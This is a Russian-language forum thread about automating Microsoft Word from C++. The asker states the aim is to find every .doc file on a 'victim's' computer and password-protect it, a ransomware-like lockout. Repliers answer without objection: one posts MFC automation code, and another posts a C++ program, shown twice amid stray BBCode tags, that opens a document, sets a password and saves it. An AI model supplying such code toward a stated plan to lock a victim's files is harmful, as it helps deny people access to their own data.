Загрузка Worda'а из С++
Как загрузить Word, открыть к-л документ и сохранить его?
Код:
ShellExecute(NULL, "open", "word.exe", "document.doc", NULL, SW_SHOW);
А вообще для работы с вордом из под .NET есть веселая вещь: Microsoft.Office.Interop.Word
короче, в MSDN это есть.
Тут нужно использовать автоматизацию.
А вообще для работы с вордом из под .NET есть веселая вещь: Microsoft.Office.Interop.Word
короче, в MSDN это есть.[/QUOTE]
Расскажи поподробней или подкинь ссылку на инфу. А вообще мне надо вот что: найти все доковские файлы на компе жертвы и поставить на них пароль. С помощью делфи все просто, а вот как на С++ ?
Короче, под .NET есть возможность работать с документами офиса, в частности ворда, как с четко структурированым набором классов. То-есть подключаешь в References - Microsoft Word Object Model, и можешь в рантайме управлять приложениями, документами, шаблонами офиса. Короче смотри в MSDN есть целый раздел Office. Там єто детально описано. Если хочешь гуглить, то ключевые слова: .NET, Runtime, Office...
[quote=GRIENDERS]Расскажи поподробней или подкинь ссылку на инфу. А вообще мне надо вот что: найти все доковские файлы на компе жертвы и поставить на них пароль. С помощью делфи все просто, а вот как на С++ ?[/quote]
//заголовочный файл этого диалога
#include "msword9.h"
----
//cpp'шный файл этого диалога
//метод обработки нажатия кнопки "Вызвать Word и экспортировать в
// него данные"
void COfficeAutoCompleteDlg::OnButtonCreateWord()
{
COleVariant vOpt((long)DISP_E_PARAMNOTFOUND, VT_ERROR);
COleVariant covTrue((short)TRUE),covFalse((short)FALSE);
typedef enum
{
wdAlignParagraphLeft=0,
wdAlignParagraphCenter=1,
wdAlignParagraphRight = 2,
wdAlignParagraphJustify = 3,
wdAlignParagraphDistribute = 4,
wdAlignParagraphJustifyMed = 5,
wdAlignParagraphJustifyHi = 7,
wdAlignParagraphJustifyLow = 8
} WdParagraphAlignment;
typedef enum
{
wdWord8TableBehavior = 0,
wdWord9TableBehavior = 1
} WdDefaultTableBehavior;
typedef enum
{
wdAutoFitFixed = 0,
wdAutoFitContent = 1,
wdAutoFitWindow = 2
} WdAutoFitBehavior;
_ApplicationWord oAppWord;
oAppWord.CreateDispatch("Word.Application");
if (!oAppWord)
{
this->MessageBox("Невозможно запустить MS Word. Переустановите пакет MS Office 2000/XP/2003","Ошибка",MB_OK);
return;
}
Documents oPages; //объявляем коллекцию документов
oPages = oAppWord.GetDocuments(); // и получаем список документов
oPages.Add(vOpt,vOpt,vOpt,vOpt); //добавляем к существующей коллекции новую книгу
_Document oPage; //объявляем конкретный экземпляр (класс _Document)
oPage=oPages.Item(COleVariant(long(1)));
//oPage.SetPageSetup(
oPage.Activate();
Paragraphs oPars;
Paragraph oPar;
Selection oSel;
_Font fnt;
//получить выделение. Поскольку его пока нет, выделением будет являться
//текущая позиция курсора
oSel=oAppWord.GetSelection();
//параграфов в документе несколько - получаем их коллекцию
oPars=oSel.GetParagraphs();
//добавляем новый параграф с установками по умолчанию
oPar=oPars.Add(vOpt);
//печатаем текст
oPar.SetAlignment(2);
oSel.TypeText("Текст какой-нибудь");
//делаем лист видимым
oAppWord.SetVisible(TRUE);
//передаем управление пользователю
}
Вот примерно так.Но в данном примере Вам придется самому дать имя получившемуся документу. Если что-то не получится, спрашивайте, не стесняйтесь ;-)
Код:
[SIZE=1][COLOR=#0000ff]
#include[/COLOR][/SIZE][SIZE=1] <iostream>
[/SIZE][SIZE=1][COLOR=#0000ff]#define[/COLOR][/SIZE][SIZE=1] _WIN32_DCOM
[/SIZE][SIZE=1][COLOR=#0000ff]#import[/COLOR][/SIZE][SIZE=1] "C:\Program Files\Common Files\Microsoft Shared\Office10\MSO.DLL" auto_rename no_namespace
[/SIZE][SIZE=1][COLOR=#0000ff]#import[/COLOR][/SIZE][SIZE=1] "C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB" auto_rename no_namespace
[/SIZE][SIZE=1][COLOR=#0000ff]#import[/COLOR][/SIZE][SIZE=1] "C:\Program Files\Microsoft Office\OFFICE10\MSWORD.OLB" auto_rename
[/SIZE][SIZE=1][COLOR=#0000ff]using[/COLOR][/SIZE][SIZE=1][COLOR=#0000ff]namespace[/COLOR][/SIZE][SIZE=1] Word;
[/SIZE][SIZE=1][COLOR=#0000ff]int[/COLOR][/SIZE][SIZE=1] main()
{
CoInitializeEx(0, COINIT_MULTITHREADED);
{
[/SIZE][SIZE=1][COLOR=#0000ff]char[/COLOR][/SIZE][SIZE=1]* buff = "C:\\file.doc";
_ApplicationPtr pWord(L"Word.Application");
HRESULT hr;
[/SIZE][SIZE=1][COLOR=#0000ff]try
[/COLOR][/SIZE][SIZE=1]{
[/SIZE][SIZE=1][COLOR=#008000]//открываем документ
[/COLOR][/SIZE][SIZE=1]_DocumentPtr wdoc = pWord->Documents->Open(&_variant_t(buff));
[/SIZE][SIZE=1][COLOR=#008000]//устанавливаем пароль
[/COLOR][/SIZE][SIZE=1]wdoc->Password = _bstr_t("parol");
[/SIZE][SIZE=1][COLOR=#008000]//сохраняем и закрываем документ
[/COLOR][/SIZE][SIZE=1]wdoc->Save();
wdoc->Close();
}
[/SIZE][SIZE=1][COLOR=#0000ff]catch[/COLOR][/SIZE][SIZE=1] (_com_error& er)
{
[/SIZE][SIZE=1][COLOR=#0000ff]char[/COLOR][/SIZE][SIZE=1] buf[1024];
sprintf(buf,"_com_error:\n"
"Error : %08lX\n"
"ErrorMessage: %s\n"
"Description : %s\n"
"Source : %s\n",
er.Error(),
(LPCTSTR)_bstr_t(er.ErrorMessage()),
(LPCTSTR)_bstr_t(er.Description()),
(LPCTSTR)_bstr_t(er.Source()));
CharToOem(buf,buf); [/SIZE][SIZE=1][COLOR=#008000]// только для косольных приложений
[/COLOR][/SIZE][SIZE=1]printf(buf);
}
}
CoUninitialize();
[/SIZE]
#include[/COLOR][/SIZE][SIZE=1] <iostream>
[/SIZE][SIZE=1][COLOR=#0000ff]#define[/COLOR][/SIZE][SIZE=1] _WIN32_DCOM
[/SIZE][SIZE=1][COLOR=#0000ff]#import[/COLOR][/SIZE][SIZE=1] "C:\Program Files\Common Files\Microsoft Shared\Office10\MSO.DLL" auto_rename no_namespace
[/SIZE][SIZE=1][COLOR=#0000ff]#import[/COLOR][/SIZE][SIZE=1] "C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB" auto_rename no_namespace
[/SIZE][SIZE=1][COLOR=#0000ff]#import[/COLOR][/SIZE][SIZE=1] "C:\Program Files\Microsoft Office\OFFICE10\MSWORD.OLB" auto_rename
[/SIZE][SIZE=1][COLOR=#0000ff]using[/COLOR][/SIZE][SIZE=1][COLOR=#0000ff]namespace[/COLOR][/SIZE][SIZE=1] Word;
[/SIZE][SIZE=1][COLOR=#0000ff]int[/COLOR][/SIZE][SIZE=1] main()
{
CoInitializeEx(0, COINIT_MULTITHREADED);
{
[/SIZE][SIZE=1][COLOR=#0000ff]char[/COLOR][/SIZE][SIZE=1]* buff = "C:\\file.doc";
_ApplicationPtr pWord(L"Word.Application");
HRESULT hr;
[/SIZE][SIZE=1][COLOR=#0000ff]try
[/COLOR][/SIZE][SIZE=1]{
[/SIZE][SIZE=1][COLOR=#008000]//открываем документ
[/COLOR][/SIZE][SIZE=1]_DocumentPtr wdoc = pWord->Documents->Open(&_variant_t(buff));
[/SIZE][SIZE=1][COLOR=#008000]//устанавливаем пароль
[/COLOR][/SIZE][SIZE=1]wdoc->Password = _bstr_t("parol");
[/SIZE][SIZE=1][COLOR=#008000]//сохраняем и закрываем документ
[/COLOR][/SIZE][SIZE=1]wdoc->Save();
wdoc->Close();
}
[/SIZE][SIZE=1][COLOR=#0000ff]catch[/COLOR][/SIZE][SIZE=1] (_com_error& er)
{
[/SIZE][SIZE=1][COLOR=#0000ff]char[/COLOR][/SIZE][SIZE=1] buf[1024];
sprintf(buf,"_com_error:\n"
"Error : %08lX\n"
"ErrorMessage: %s\n"
"Description : %s\n"
"Source : %s\n",
er.Error(),
(LPCTSTR)_bstr_t(er.ErrorMessage()),
(LPCTSTR)_bstr_t(er.Description()),
(LPCTSTR)_bstr_t(er.Source()));
CharToOem(buf,buf); [/SIZE][SIZE=1][COLOR=#008000]// только для косольных приложений
[/COLOR][/SIZE][SIZE=1]printf(buf);
}
}
CoUninitialize();
[/SIZE]
Вот примерно так можно установить пароль на документ.
Спасибо, попробую разобраться. А вот что за директива #import?
О директиве #import читай в статье, ссылку на которую я давал тебе ранее.